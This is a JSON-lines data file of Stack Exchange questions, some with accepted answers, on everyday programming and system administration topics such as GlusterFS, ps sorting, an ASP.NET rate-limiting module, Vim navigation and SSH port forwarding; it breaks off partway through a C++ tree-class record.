{  "id": "_webapps.79282"  , "question": "My typical case is following. When I need to check/do something in future (let's say in a month) I add an appropriate event in Google Calendar. The problem with it is that it's inconvenient to check if I missed some reminder recently: I don't want to examine each event every time.Currently I change event color (to gray) to mark it completed. Are there any better ways?"  , "title": "Track completion of Google Calendar events"  , "tags": "google apps;google calendar"  } 
{  "id": "_unix.295601"  , "question": "I have 2 Nodes GlusterFS setup on 2 Redhat 6.7 Servers. (GlusterFS versions are both 3.7.12) Then the NFS Server on localhost status on one Server shows n/a and Online N, while it is showing all fine on the another one.[root@webserver1 ~]# gluster volume status gv0Status of volume: gv0Gluster process                             TCP Port  RDMA Port  Online  Pid------------------------------------------------------------------------------Brick gluster1:/glusterfs-data/brick        49152     0          Y       27149Brick gluster2:/glusterfs-data/brick        49152     0          Y       1677 NFS Server on localhost                     N/A       N/A        N       N/A  Self-heal Daemon on localhost               N/A       N/A        Y       27176NFS Server on gluster2                      2049      0          Y       1629 Self-heal Daemon on gluster2                N/A       N/A        Y       1638 Task Status of Volume gv0------------------------------------------------------------------------------There are no active volume tasksWhat services are required to be started (or) what seems to be missed out here please?"  , "title": "Redhat : gluster volume status shows NFS Server on localhost as N/A and Offline"  , "tags": "centos;rhel;nfs;glusterfs"  } 
{  "id": "_unix.141167"  , "question": "ContextI have a directory of thousands of zip files that are dated in the form YYYYMMDD_hhmmss.zip and each about 300K.  Within each zip file is about 400 xml files each about 3K.The problemI need to be able to search and find a given string within a date-range of the zip files.The current (albeit mediocre) solutionI have the following one-linerfind /home/mydir/ -type f | sort | \\awk /xml_20140207_000016.zip/,/xml_20140207_235938.zip/ | \\xargs -n 1 -P 10 zipgrep my search stringThe point of it is tolist all the files in my thousand-file directorysort this list of filesretrieve a range of files based on given dates (this awk command only prints lines after that first matched string and up to that second matched string)pass each line of the result which corresponds to a single file to zipgrepThe questionThis one-liner runs horribly slow, even with 10 processes on a 24-core machine.  I believe it's slow because of the zipgrep command but I'm not wise enough to know how to improve it.  I don't know if I should be, but I'm a little embarrassed that a colleague wrote a java tool that runs faster than this script.  I'd like to reverse that if possible.  Then, does anyone know how to make this command faster in this context?  Or to improve any part of it at all?"  , "title": "Is there a way to make this one-liner faster?"  , "tags": "bash;shell script;awk;grep;xargs"  } 
{  "id": "_unix.174496"  , "question": "I am trying to understand why ps does not behave the way I expect it to. From the man pages, the following command should display ppid and lstart, with items sorted by lstart order. However when I run the same command in three different terminals:First term:gauthier@sobel:~/ $ ps -o ppid -o lstart --sort=lstart PPID                  STARTED21142 Tue Dec 16 13:45:18 2014 3383 Mon Dec 15 15:40:35 2014Second term:gauthier@sobel:~/bin $ ps -o ppid -o lstart --sort=lstart PPID                  STARTED19595 Tue Dec 16 13:45:03 2014 3383 Mon Dec 15 14:49:14 2014Third term:gauthier@sobel:~ $ ps -o ppid -o lstart --sort=lstart PPID                  STARTED 3383 Tue Dec 16 13:39:05 201416357 Tue Dec 16 13:45:12 2014There are several things I don't understand here.items in terms 1 and 2 are sorted most recent first. Items in term 3 are sorted oldest first. Even considering alphabetical order the orders differ.PPID 3383 is the same for all three terms, but at different start times. It seems that several distinct PPID might be the same although they are different processes?System info:$ ps -Vprocps-ng version 3.3.9$ uname -aLinux sobel 3.13.0-37-generic #64-Ubuntu SMP Mon Sep 22 21:28:38 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux"  , "title": "Sorting the output of `ps`"  , "tags": "process;sort;ps"  , "accepted_answer": "ps --sort=lstart doesn't actually sort by lstart, According to this serverfault comment:lstart gives a full timestamp, but cannot be used as a sort key.  start_time gives the usual 'time within the last 24 hours, date  otherwise' column, and can be used as a sort key.This is implicitly documented in ps's man pages, where lstart is not listed under the OBSOLETE SORT KEYS section, but start_time is.The source code also backs this up, see this definition starting on line 1506:/* Many of these are placeholders for unsupported options. */static const format_struct format_array[] = {/* code       header     print()      sort()    width need vendor flags  */[...]{lstart,    STARTED, pr_lstart,   sr_nop,    24,   0,    XXX, ET|RIGHT},[...]{start_time, START,  pr_stime,    sr_start_time, 5, 0,   LNx, ET|RIGHT},[...]};Edit: expanded on the explanation on the right answer, and removed the misleading part of the original one."  } 
{  "id": "_codereview.21537"  , "question": "I've written this module (using a tutorial on the web I can't find now  to stop unusual requests from clients.  It's working as I've tested it on a local system. Is the logic fine enough?Another problem is that it counts requests for non-aspx resources (images, css, ...), but it shouldn't.  How can I filter request for aspx pages ?This is the module code:public class AntiDosModule : IHttpModule{    const string blockKey = IsBlocked;    const string reqsKey = Requests;    public void Dispose()    { }    public void Init(HttpApplication context)    {        context.BeginRequest += ValidateRequest;    }    private static void ValidateRequest(object sender, EventArgs e)    {        // get configs from web.config        AntiDosModuleSettings setting = AntiDosModuleSettings.GetConfig();        int blockDuration = setting.IPBlockDuration;        // time window in which request are counted e.g 1000 request in 1 minute        int validationTimeWindow = setting.ValidationTimeWindow;        // max requests count in specified time window e.g 1000 request in 1 minute        int maxValidRequests = setting.MaxValidRequests;        string masterKey = setting.MasterKey;        HttpContextBase context = new HttpContextWrapper(HttpContext.Current);        CacheManager cacheMgr = new CacheManager(context, masterKey);        // is client IP blocked        bool IsBlocked = (bool)cacheMgr.GetItem<Boolean>(blockKey);        if (IsBlocked)        {            context.Response.End();        }        // number of requests sent by client till now        IPReqsHint hint = cacheMgr.GetItem<IPReqsHint>(reqsKey) ?? new IPReqsHint();        if (hint.HintCount > maxValidRequests)        {            // block client IP            cacheMgr.AddItem(blockKey, true, blockDuration);            context.Response.End();        }        hint.HintCount++;        if (hint.HintCount == 1)        {            cacheMgr.AddItem(reqsKey, hint, validationTimeWindow);        }    }}internal class IPReqsHint{    public int HintCount { get; set; }    public IPReqsHint()    {        HintCount = 0;    }}and this is the CacheManager class:public class CacheManager{    HttpContextBase context;    string masterKey;    public CacheManager(HttpContextBase context, string masterKey)    {        this.context = context;        this.masterKey = masterKey;    }    public void AddItem(string key, object value, int duration)    {        string finalKey = GenerateFinalKey(key);        context.Cache.Add(            finalKey,            value,            null,            DateTime.Now.AddSeconds(duration),            System.Web.Caching.Cache.NoSlidingExpiration,            System.Web.Caching.CacheItemPriority.Normal,            null);    }    public T GetItem<T>(string key)    {        string finalKey = GenerateFinalKey(key);        var obj = context.Cache[finalKey] ?? default(T);        return (T)obj;    }    string GenerateFinalKey(string key)    {        return masterKey + - + context.Request.UserHostAddress + - + key;    }}"  , "title": "Optimizing this AntiDos HttpModule"  , "tags": "c#;asp.net"  } 
{  "id": "_unix.312253"  , "question": "All right, I have a problem, My UAP make a request to my router linksys wrt 54 gl he receive a response and then skip over and take his default ip 192.168.1.20. Even if I try to change the IP manually true a ssh terminal, it stays 10 sec. and then it goes back to 192.168.1.20. I've already reset it multiple times, even flash differents ROM's true tftp but nothing works... Can someone help me please?"  , "title": "Unifi UAP DHCP problem"  , "tags": "networking"  } 
{  "id": "_softwareengineering.120019"  , "question": "I'm trying to understand the difference between procedural languages like C and object-oriented languages like C++. I've never used C++, but I've been discussing with my friends on how to differentiate the two.I've been told C++ has object-oriented concepts as well as public and private modes for definition of variables: things C does not have. I've never had to use these for while developing programs in Visual Basic.NET: what are the benefits of these?I've also been told that if a variable is public, it can be accessed anywhere, but it's not clear how that's different from a global variable in a language like C. It's also not clear how a private variable differs from a local variable.Another thing I've heard is that, for security reasons, if a function needs to be accessed it should be inherited first. The use-case is that an administrator should only have as much rights as they need and not everything, but it seems a conditional would work as well:if ( login == admin) {    // invoke the function}Why is this not ideal?Given that there seems to be a procedural way to do everything object-oriented, why should I care about object-oriented programming?"  , "title": "What's the benefit of object-oriented programming over procedural programming?"  , "tags": "c++;object oriented;c;procedural"  , "accepted_answer": "All answers so far have focused on the topic of your question as stated, which is what is the difference between c and c++. In reality, it sounds like you know what difference is, you just don't understand why you would need that difference. So then, other answers attempted to explain OO and encapsulation.I wanted to chime in with yet another answer, because based on the details of your question, I believe you need to take several steps back.You don't understand the purpose of C++ or OO, because to you, it seems that your application simply needs to store data. This data is stored in variables.Why would I want to make a variable inaccessible? Now I can't access it anymore! By making everything public, or better yet global, I can read data from anywhere and there are no problems. - And you are right, based on the scale of the projects you are currently writing, there are probably not that many problems (or there are, but you just haven't become aware of them yet).I think the fundamental question you really need to have answered is: Why would I ever want to hide data? If I do that, I can't work with it!And this is why:Let's say you start a new project, you open your text editor and you start writing functions. Every time you need to store something (to remember it for later), you create a variable. To make things simpler, you make your variables global.Your first version of your app runs great. Now you start adding more features. You have more functions, certain data you stored from before needs to be read from your new code. Other variables need to be modified. You keep writing more functions. What you may have noticed (or, if not, you absolutely will notice in the future) is, as your code gets bigger, it takes you longer and longer to add the next feature. And as your code gets bigger, it becomes harder and harder to add features without breaking something that used to work.Why?Because you need to remember what all your global variables are storing and you need to remember where all of them are being modified. And you need to remember which function is okay to call in what exact order and if you call them in a different order, you might get errors because your global variables aren't quite valid yet.Have you ever run into this?How big are your typical projects (lines of code)?Now imaging a project 5000 to 50000 times as big as yours. Also, there are multiple people working in it. How can everyone on the team remember (or even be aware of) what all those variables are doing?What I described above is an example of perfectly coupled code. And since the dawn of time (assuming time started Jan 1, 1970), human kind has been looking for ways to avoid these problems. The way you avoid them is by splitting up your code into systems, subsystems and components and limiting how many functions have access to any piece of data. If I have 5 integers and a string that represent some kind of state, would it be easier for me to work with this state if only 5 functions set/get the values? or if 100 functions set/get these same values?Even without OO languages (i.e. C), people have been working hard on isolating data from other data and creating clean separation boundaries between different parts of the code. When the project gets to a certain size, ease of programming becomes not, can I access variable X from function Y, but how do I make sure ONLY functions A, B, C and no one else is touching variable X.This is why OO concepts have been introduced and this is why they are so powerful. They allow you to hide your data from yourself and you want to do it on purpose, because the less code that sees that data, the less chance there is, that when you add the next feature, you will break something. This is the main purpose for the concepts of encapsulation and OO programming. They allow you to break our systems/subsystems down into even more granular boxes, to a point where, no matter how big the overall project is, a given set of variables may only be accessed by 50-200 lines of code and that's it! There's obviously much more to OO programming, but, in essence, this is why C++ gives you options of declaring data/functions as private, protected or public.The second greatest idea in OO is the concept of abstraction layers. Although procedural languages can also have abstractions, in C, a programmer must make a conscious effort to create such layers, but in C++, when you declare a class, you automatically create an abstraction layer (it's still up to you whether or not this abstraction will add or remove value). You should read/research more about abstraction layers and if you have more questions, I'm sure this forum will be more than happy to answer those as well."  } 
{  "id": "_reverseengineering.2846"  , "question": "I am trying to find the function that sends packets to the server in a game client. I have read many tuts about finding the SEND function. But they are not helpful in finding in my case.So i started as follows:I first attached the game client in ollydbg.Then found all the executable modules.Then opened the client.exe. Further i searched for all intermodular calls.Then I searched for the SEND function. I got Five SendMessage() functions.From this step I don't understand what to do further."  , "title": "Finding send function for tcp packets in game client"  , "tags": "ollydbg"  } 
{  "id": "_cstheory.23815"  , "question": "I am wondering if there is an algorithm that, given a sorted array, allows you to build a binary search tree in linear time?I am facing a problem where I have about 8 million elements in a file that need to be loaded into a BST so O(n) would be vastly preferable to O(n log n) if it's possible."  , "title": "Pre order traversal of an array"  , "tags": "tree;binary trees"  } 
{  "id": "_softwareengineering.335569"  , "question": "I'm creating a Node app. I have JavaScript files that include custom functions that make calls to external APIs (in this case Google APIs) I have JavaScript files in my node app that are related to setting up the web app and using these custom functions described aboveWhat would be a good name for these JavaScript files that make external API calls? Should I call it a wrapper or a service? (How would I visualize the separate responsibility layers of this project?) I'm trying to pick a proper name that is intuitive for other new comers to the project understand what files are responsible for what. "  , "title": "What do you call the layer of modules that call external APIs?"  , "tags": "programming practices;web applications;api design;node.js"  } 
{  "id": "_softwareengineering.343357"  , "question": "For example, the SysInternals tool FileMon from the past has a kernel-mode driver whose source code is entirely in one 4,000-line file. The same for the first ever ping program ever written (~2,000 LOC)."  , "title": "Why are some C programs written in one huge source file?"  , "tags": "design;c;source code"  , "accepted_answer": "Using multiple files always requires additional administrative overhead. One has to setup a build script and/or makefile with separated compiling and linking stages, make sure the dependencies between the different files are managed correctly, write a zip script for easier distribution of the source code by email or download, and so on. Modern IDEs today  typically take a lot of that burden, but I am pretty sure at the time when the first ping program was written, no such IDE was available. And for files that small as ~4000 LOC, without such an IDE which manages multiple files for you well, the trade off between the mentioned overhead and the benefits from using multiple files might let people make a decision for the single file approach."  } 
{  "id": "_codereview.135824"  , "question": "I am new to Python (and coding in general) and after about a week of reading Thinking Like a Computer Scientist: Learning with Python I decided to try and build a version the classic guessing game. I added some extra features such as counting the number of guesses the user takes, and playing against a simulated computer player to make the program slightly more interesting. Also, the number of guesses the computer takes is based on the mean number of guesses needed to guess a number in a given range (which is logarithmic of base 2 for range n) and varies according to standard deviation.Any feedback on the structure of my code or the way I generate the number of guesses the computer takes would be much appreciated!# Number guessing game in Python# Taylor Wright# July 27 2016import randomdef get_number(level):                  #selects a random number in range depending on difficulty selected    if level == e:        number = random.randint(1,20)    if level == m:        number = random.randint(1,100)    if level == h:        number = random.randint(1,1000)    elif level != e and level != m and level != h:        print (Invalid input!)        get_number()    return numberdef select_level():    #prompts the user to select a difficulty to play on    while True:        level = str(input(Would you like to play on easy, medium, or hard? \\n                      Type 'e' for easy, 'm' for medium, or 'h' for hard!\\n))        if level != e and level != m and level != h:            print(Invalid input!\\n)        if level == e or level == m or level == h:            break    return leveldef guess_number(level):        #function that prompts the user to guess within range depending on chosen difficulty    if level == e:        guess = int(input(Guess a number between 1 and 20:\\n))    if level == m:        guess = int(input(Guess a number between 1 and 100:\\n))    if level == h:        guess = int(input(Guess a number between 1 and 1000:\\n))    return guessdef check_guess(guess,number):         #processes the guess and tells the user if it is too high, too low, or bang on    if guess > number:        print (your guess is too high! Try again! \\n)    if guess < number:        print (your guess is too low! Try again! \\n)    if guess == number:        print(\\n{0} was the number!.format(number))def com_num_guesses(level):          #function to get the number of guesses taken by the computer    if level == e:        com_guesses = round(random.normalvariate(3.7,1.1))    if level == m:        com_guesses = round(random.normalvariate(5.8,1.319))    if level == h:        com_guesses = round(random.normalvariate(8.99,1.37474))    print(The computer guessed the number in {0} guesses! Can you beat that?.format(com_guesses))    return com_guessesdef mainloop():    level = select_level()    number = get_number(level)    com_guesses = com_num_guesses(level)    num_guesses = 0    while True:                 #tells program how to handle guesses after the first guess        guess = guess_number(level)        check_guess(guess,number)        num_guesses += 1        if guess == number:            print( You got it in {0} guesses..format(num_guesses))            if num_guesses == com_guesses:                print(It took the computer {0} guesses too!\\nIt's a tie!\\n.format(com_guesses))            if num_guesses > com_guesses:                print(It took the computer {0} guesses.\\nThe computer wins!\\n.format((com_guesses)))            if num_guesses < com_guesses:                print(It took the computer {0} guesses.\\nYou win!\\n.format(com_guesses))            play_again = str(input(To play again type 'yes'. To exit type 'no'. \\n))            if play_again == yes:                mainloop()            if play_again == no:                raise SystemExit(0)            breakmainloop()"  , "title": "Beginning Python guessing game"  , "tags": "python;beginner;python 3.x;number guessing game"  , "accepted_answer": "You need to avoid duplicating code and use the if/elif/else logic a bit more.I've added an example of how your code could look to make it more extendable and cleanerimport randomclass Level: #make a level class that you can extend    def __init__(self, difficulty, computer):        self.difficulty = difficulty        self.computer = computerleveldict = { #a dictionary to store your levels    e : Level(20, (3.7, 1.1)),    m : Level(100, (5.8, 1.319)),    h : Level(1000, (8.99,1.37474)),    }def get_number(level):    return random.randint(1, leveldict[level].difficulty)def select_level():     print(Would you like to play on easy, medium, or hard?\\nType 'e' for easy, 'm' for medium, or 'h' for hard!)    level = str(input())    while level not in leveldict.keys(): #check for errors in select_level not in get_number        print (Invalid input!)        level = str(input(Type 'e' for easy, 'm' for medium, or 'h' for hard!))    return leveldef guess_number(level):    print(Guess a number between 1 and {0}:\\n.format(leveldict[level].difficulty))    # a try/except block to check if the user really gives a number    # you could add a check to see if the number is in the given range (e.g. 1-20)    try:         n = int(input())    except ValueError:        print(Invalid input!)        n = guess_number(level)    return ndef check_guess(guess, number):    #use if, elif, else logic    if guess > number:        print (your guess is too high! Try again! \\n)    elif guess < number:        print (your guess is too low! Try again! \\n)    else:        print(\\n{0} was the number!.format(number))def com_num_guesses(level):    # the * in leveldict[level].computer is to unpack your tuple with the normalvariate range    com_guesses = round(random.normalvariate(*leveldict[level].computer))    print(The computer guessed the number in {0} guesses! Can you beat that?.format(com_guesses))    return com_guessesdef mainloop():    level = select_level()    number = get_number(level)    com_guesses = com_num_guesses(level)    guess = guess_number(level)    check_guess(guess, number)    num_guesses = 1    # use a statement for the while loop, it's cleaner in this case than while True: (...) break    # and you have less duplicate code    while guess != number:        guess = guess_number(level)        check_guess(guess,number)        num_guesses += 1    print(You got it in {0} guesses..format(num_guesses))    print(It took the computer {0} guesses.format(com_guesses), end=)    #use if/elif/else logic and remove the duplicate code    if num_guesses > com_guesses:        print(.\\nThe computer wins!\\n.format((com_guesses)))    elif num_guesses < com_guesses:        print(.\\nYou win!\\n.format(com_guesses))    else:        print( too!\\nIt's a tie!\\n)    #you dont need the if no because it will exit anyways if the input is not yes    play_again = str(input(To play again type 'yes'. To exit type 'no'. \\n))    if play_again == yes:        mainloop()mainloop()"  } 
{  "id": "_vi.3694"  , "question": "I would like to go to the file I just edited last and next kind of like MRU plugins do.:bnext and :bprev works sometimes, but most often than not I just end up in some obscure file I don't remember editing and forced to fall back to MRU plugin.Is there a way to fix it?Ctrl-^ swaps between two last files. What is the best way to navigate between more?I understand it might be tricky but I agree to anything that can improve current :bn :bp behavior. The buffers I often see are totally out of place. Maybe there is a plugin that can keep track of the recent files and provide hooks so I can create mappings?Replying to comments cleared up my thoughts a bit. I believe what I want is to be able to move through files in order of latest saves. That way if I go back in history the order won't change until I save the file which then becomes last and make one step back to the file saved right before that, i.e. the one I've started from. Something like Ctrl-O Ctrl-I pair that switches files immediately without jumping around the current buffer. Sort of like u and U in netrw:   u    Change to recently-visited directory                 |netrw-u|   U    Change to subsequently-visited directory             |netrw-U|"  , "title": "Is there a way to reliably go back and forth in file history"  , "tags": "buffers"  , "accepted_answer": "I wrote a little function to repeatedly hit CTRL-O for me, until the buffer changes.You can find it here.  I mapped it to CTRL-U but you could override CTRL-O if you wanted to.function! GoBackToRecentBuffer()  let startName = bufname('%')  while 1    exe normal! \\<c-o>    let nowName = bufname('%')    if nowName != startName      break    endif  endwhileendfunctionnnoremap <silent> <C-U> :call GoBackToRecentBuffer()<Enter>You could probably write something similar for <C-I>.Issues:If there is no previous buffer, it will continue silently looping until you hit CTRL-C!Related::jumps lists the historical locations that CTRL-O will step back through.Vim's default CTRL-T is a good alternative to mashing CTRL-O, because it is coarser grained: it moves back through tag jumps only."  } 
{  "id": "_unix.266091"  , "question": "I want to set up port forwarding with ssh like so:ssh user@10.10.10.10 -L 5656:remoteserver:80 -Nand then run a curl command:curl http://localhost:5656/my/endpoint/I can accomplish this just fine using two commands, but how can I combine them into a single working command? I'm on OSX if that matters."  , "title": "How do I set up ssh port forwarding and run a curl in a single command?"  , "tags": "ssh;curl"  , "accepted_answer": "Do you really need to do both of the things? Would not be easier to curl on the remote server and pull the result without port forwarding, such asssh user@10.10.10.10 curl http://remoteserver/my/endpoint/ -o - > result"  } 
{  "id": "_scicomp.16004"  , "question": "I have a a function $f(k)$ (calculated in Maple) which is huge and stored in a variable called 'sum' on my drive (with the help of 'save' command in Maple). Since the function is huge, Maple is unable to plot it and is taking endless time. Thus, I want to read the variable 'sum' into Matlab and plot it. I am unable to also just copy paste as the function is really big. I have searched around but am unable to find a solution. Can somebody help me out?"  , "title": "Maple stored variable to be read into Matlab"  , "tags": "matlab;data storage;maple"  , "accepted_answer": "You can use the CodeGeneration package to do this. It allows to translate to different languages, being Matlab one of those.A simple example here:with(CodeGeneration);suma := sum(sin(n*x)/factorial(n), n = 0 .. 10);thenMatlab(suma)with answercg3 = sin(x) + sin(0.2e1 * x) / 0.2e1 + sin(0.3e1 * x) / 0.6e1 + sin(0.4e1 * x) / 0.24e2 + sin(0.5e1 * x) / 0.120e3 + sin(0.6e1 * x) / 0.720e3 + sin(0.7e1 * x) / 0.5040e4 + sin(0.8e1 * x) / 0.40320e5 + sin(0.9e1 * x) / 0.362880e6 + sin(0.10e2 * x) / 0.3628800e7;Off course, you can store this in a string and then write it to a text file, or translate a Maple procedure to a Matlab function."  } 
{  "id": "_unix.27684"  , "question": "I am looking for a script which we can pass as an argument to the pbrun command.Eg: Login: test1Passwd: xxxxxxxWelcome to Solaris 10 gcmsys01$ pbrun sysadmins safekshHere sysadmins is the group-name and safeksh is a script which will disable any harmful commands like rm, init 6, format etc etc., similarly, there should be a fullksh script which will allow full shell access to the server (can execute any root commands without any restriction). This script is to overcome any unwanted outages due to some harmful commands.Any suggestions are highly appreciated."  , "title": "Power broker safe shell or full shell script"  , "tags": "shell;shell script"  } 
{  "id": "_webmaster.34399"  , "question": "I am seeing the following oddity with IE7-10 on Windows Vista, 7, 8:When declaring font-family: serif; I am seeing an old bitmapped serif font that I can't identify (see screenshot below) instead of the expected font Times New Roman. I know it's an old bitmapped font because it displays aliased, without any font smoothing, with IE7-10 on Win Vista-8 (just like Courier on every version of Win).Screenshot:I would like to know (1) can anyone else confirm my research and (2) BONUS: which font is IE displaying?Notes: IE6 and IE7 on Win XP displays Times New Roman, as they should. It doesn't matter if font-family: serif; is declared in an external stylesheet or inline on the element. Quoting the CSS attribute makes no difference. Adding Unkown Font to the stack also makes no difference.New Screenshot: The answer from Jukka below is correct. Here is a new screenshot with Batang (not BatangChe) to illustrate. Hope this helps someone."  , "title": "Unknown CSS font-family oddity with IE7-10 on Windows Vista, 7, 8"  , "tags": "css;fonts;internet explorer;windows"  , "accepted_answer": "I can confirm the observation, using IE 9 on Win 7. Checking in the IE settings (Tools  Internet settings   General  Fonts), I can see BatangChe mentioned as the font under user defined for normal text, and the font used for serif looks like Batang Che but has different spacing. And setting fonts there does not seem to change this. I guess they only matter if the author does not set font family at all, even generically.Looks like the font is Batang. I suppose there is no way to change this (i.e. the mapping of serif to a specific font). So the practical conclusion is that using serif as a fallback font isnt a good idea. Or at least you should put some fonts like Times New Roman and Georgia before it, so that IE will use one of them instead of falling to Batang."  } 
{  "id": "_webapps.71185"  , "question": "When I log on to my Google account and have to enter a two-factor code, I get an option to trust this device for 30 days:Some time ago, this option trusted the device permanently - which is a lot more comfortable, at least for your main device. Is there still a way to permanently trust a device?"  , "title": "Trust a device for more then 30 days in Google Two-Factor Authentication"  , "tags": "google;authentication;multi factor auth"  } 
{  "id": "_scicomp.11006"  , "question": "Going to teach students of undergraduate level a course titled Introduction to Computer Programming. I am confused a bit. In Computational Physics scientists use C/C++ or Python or Fortran,CUDA etc..... this is time to build their base. What should I use? I know you can learn new programming language anytime in your life but which is wiser choice for me to elaborate them all basic programming concepts and OOP concepts later on."  , "title": "What language should I use when teaching an undergraduate course in computer programming?"  , "tags": "python;c++;computational physics;languages"  , "accepted_answer": "First, if your undergraduates are like ours and had no prior introduction to computers, expect to spend some time teaching them how to use basic stuff like using a proper editor (i.e., not MSWord), the command line, etc.I think the answer somewhat depends on where you set the focus of your course (or what you are required to teach). For example: How relevant are the internal workings of the computer? Do you need classes and other advanced OOP structures? Do you want to teach them how to produce efficient programs or are you happy if they produce working programs at all? Also, do not forget that you most probably will need capable tutors.But now something to advantages and disadvantages of the languages, I am familiar with. Note that this is mainly from my experience as a computational physicist and some of this may depend on the particular field, workgroup, university, etc.PythonI generally recommend using Numpy from almost the very beginning and I am assuming it to be used in the following.Advantages:Its easy to learn and so is reading other peoples code (e.g., your example code, but also the students code for the tutors).Input and output (which should not be the focus of your course) can be fully covered by print, Numpys savetxt and loadtxt, and maybe sys.argv. It can be introduced on the fly and it does not eat much programming time.You do not need to deal with or only need to deal little with such details as number representation, memory management, data types. Thus its fast to program and you can focus on the actual algorithms.Its not a compiled language. This has two advantages: Students do not need to deal with a compiler and students can test stuff directly in the console without having to compile, restart and rerun the program. Relatedly, debugging is easier.There are easy-to-use libraries for almost everything.You do not need to learn additional script languages like shell scripts, Make, Gnuplot and so on  all this can be done from Python.There are a lot of good tutorials (for free).Disadvantages:Its not compiled. Therefore Python programs may be drastically slower than compiled programs in some cases relevant to computational physics. In other cases, however, libraries (especially Numpy) can yield a comparable performance. Another way, to get good performances with Python is to write the relevant code snippets in another language likeC. Obviously you need to learn this language for this, but this can be done later and your time learning Python is not wasted.Its more difficult to teach such details as number representation, memory management, data types and their pitfalls, since they are somewhat obfuscated.C/C++Advantages:It is compiled and therefore its easier to produce efficient code.You are directly dealing with number representation, memory management, data types and thus it is more intuitive to teach these your students will get closer to what is really happening in their computer.There are libraries for basically everything but understanding and using a library takes some work.There is a relevant amount of existing code in C/C++ and thus students need to learn the language if they want to work with this code.If you already know C/C++, you can learn Python (for example) very fast.Disadvantages:It is compiled and your students have to deal with the compiler, the preprocessor, headers and so on. You would be surprised how much students fail at this step, even at the end of the semester.It is slower too learn and it takes longer to produce working code.Dealing with marginal stuff such as input and output takes some time as well in teaching as in programming. In C++, there is an extra syntax for input and output.Compiler and operating-system dependencies.You have to deal with the C/C++ confusion.Reading the code of others especially in C++ can be quite difficult due to the vast amount of syntax features.The main advantages of C++ over C (Classes, templates) should not be relevant for your course and are only becoming relevant for larger projects. Therefore I would choose C of the two, since it is more concise.OthersSome comments on the other languages:Fortran: This is still used by a lot of groups and there is a lot of legacy code, but you cannot get around dealing with the old standards and their huge limitations and pitfalls (a lot of people are still working with Fortran77). Also, it will be much harder to find tutorials, help on the Internet and so on.Matlab/Mathematica: All the problems of proprietary software. Consider in particular that your students are likely to collaborate with people who do not have access to this software and the ensuing problems.Cuda: This is only relevant for certain problems, if performance matters. Also, after all I know, you do not want to learn programming this way. Which is the standard workflow at least in our group."  } 
{  "id": "_unix.68499"  , "question": "I used xev to find the key code for fn-f5 and came up with a little script to toggle the bluetooth on or off.   My question is whether it's possible to bind fn-f5 (keycode 246) to my shell script (bttoggle) using, preferably, xmodmap."  , "title": "Is it possible to bind a shell script to a key press"  , "tags": "keyboard shortcuts;bind;bluetooth;xmodmap"  } 
{  "id": "_softwareengineering.228040"  , "question": "I am new to the MVVM pattern. I have a window which has 3 text boxes (Name, Address, Description), a save button, and a listview which displays the above fields. When the save button is clicked I want to save the fields into database as well as show the record in the listview.How do I design my Model, ViewModel for this interface ?"  , "title": "Model and ViewModel for View"  , "tags": "c#;.net;wpf;mvvm"  , "accepted_answer": "This is how I see (and do) it.In your case (which is rather simple), I would have a ViewModel holding a list of Models and a SelectedModel property. The view would have a form and a list of course. The form would be bound to the currently selected model. The View would be bound to the ViewModel and indirectly to the Model (the data in the list and the form). Your ViewModel would also take care of validating and saving the data to the database by calling a method on your repository (or the Context, which is basically a repository, if you're using EF).The Model is your business logic, the Domain Model. The objects here will have all the data relevant to the business and the methods to manipulate that data. The model should be designed to be as simple as possible while accomplishing the business needs. This means normalized relationships, decoupled design and so on. Make it as easy to maintain as possible, regardless of the view. This means the same Model can be reused in different applications (a desktop and a web app can use the same model). In your case this is an object with the Name, Address and Description. This is all you need to accomplish your goal.The View will not always be this simple. Sometimes you will need to aggregate data from multiple models, or do some other manipulation of the data just to show the data on a view. A report for instance, can have lots of data from lots of models. Other times, the view will really need to simplify a lot of complex things that are going on in the model, to give you a high level overview without too many details. In your case, the view is also a bit more complex than your domain model. You need a list to see all your domain models and a form to edit one at the same time. This is where the ViewModel comes in. The VM will be between the model and the view. It will wrap a model object (or multiple model objects), introduce new properties that are a combination of other properties in the model and so on. The ViewModel is the one that is designed in a way that it makes presentation easier. This means simple properties your view can bind to and similar things. No matter how complex your Model or your View is, your ViewModel sits in between and makes all the necessary transformations of the data that you want to display. The same thing but in reverse happens when a view is sending data back (form submission or other input). The ViewModel is the one that transforms the view data into something that your Model understands. In your case the ViewModel will be rather simple, holding just the list of Models and a Selected Model, but in more complex examples, it might do some calculations or whatnot to accomplish what the view needs."  } 
{  "id": "_unix.356346"  , "question": "I have CentOS 6.7. I installed OpenJDK 1.8 with the following command.yum install java-1.8.0-openjdk-develAfter installing I executed the following two commands.export JAVA_HOME=/usr/jdk/jdk1.8.0_121export PATH=$JAVA_HOME/bin:$PATHBut when I type java -version I still see the following output. I do not see OpenJDK.java version 1.8.0_121 Java(TM) SE Runtime Environment (build 1.8.0_121-b13) Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)EDITI have posted a similar thread, regarding not finding 'javac' in the thread -bash: javac: command not found error after installing OpenJDK 1.7  In that thread I was not able to execute javac which was resolved and it was about OpenJDK 1.7 (not 1.8). But this thread is all about java -version not showing OpenJDK for OpenJDK 1.8. "  , "title": "java -version is not showing OpenSDK"  , "tags": "centos;software installation;java"  } 
{  "id": "_codereview.165114"  , "question": "I've done this simple c++ assignment. The homework was Design a Tree class that allows insertion of nodes and visit of the graph.What do you think of the style/design I used? I chose to store in the STL container the pointers of sub trees. Is it memory efficient?Is it sufficiently readable?Did I chose the right STL container?Thanks a lot for any tips about problems or bad practices!What do you think of the style/design I used? I chose to store in the STL container the pointers of sub trees. Is it memory efficient?Is it sufficiently readable?Did I chose the right STL container?Thanks a lot for any tips about problems or bad practices!#include <set> #include <deque> #include <iostream>  using namespace std;template < typename T >class Tree {struct compare {  bool operator()(const Tree * t1,    const Tree * t2) const {    return t1 -> GetContent() < t2 -> GetContent();  }};typedef typename std::multiset < Tree * , typename Tree::compare > NodeSet;private:  NodeSet children;T content;public:  Tree& AppendNode(const T& node) {    Tree *t = new Tree(node);    AttachTree(t);    return *t;  }void Clear() {  typename NodeSet::iterator it = children.begin();  while (children.end() != it) {    children.erase( *it);    delete *it;    it++;  }}const T& GetContent() const {  return content;}Tree(const T& root) {  content = root;}void AttachTree(Tree* t) {  children.insert(t);}void Visit(std::deque <T>& exp) const {  exp.push_back(content);  typename NodeSet::iterator it = children.begin();  while (it != children.end()) {    (*it) -> Visit(exp);    it++;  }}Tree() {}Tree(Tree & c) {  c.DeepCopyTo(this);}T & operator = (const Tree & b) {  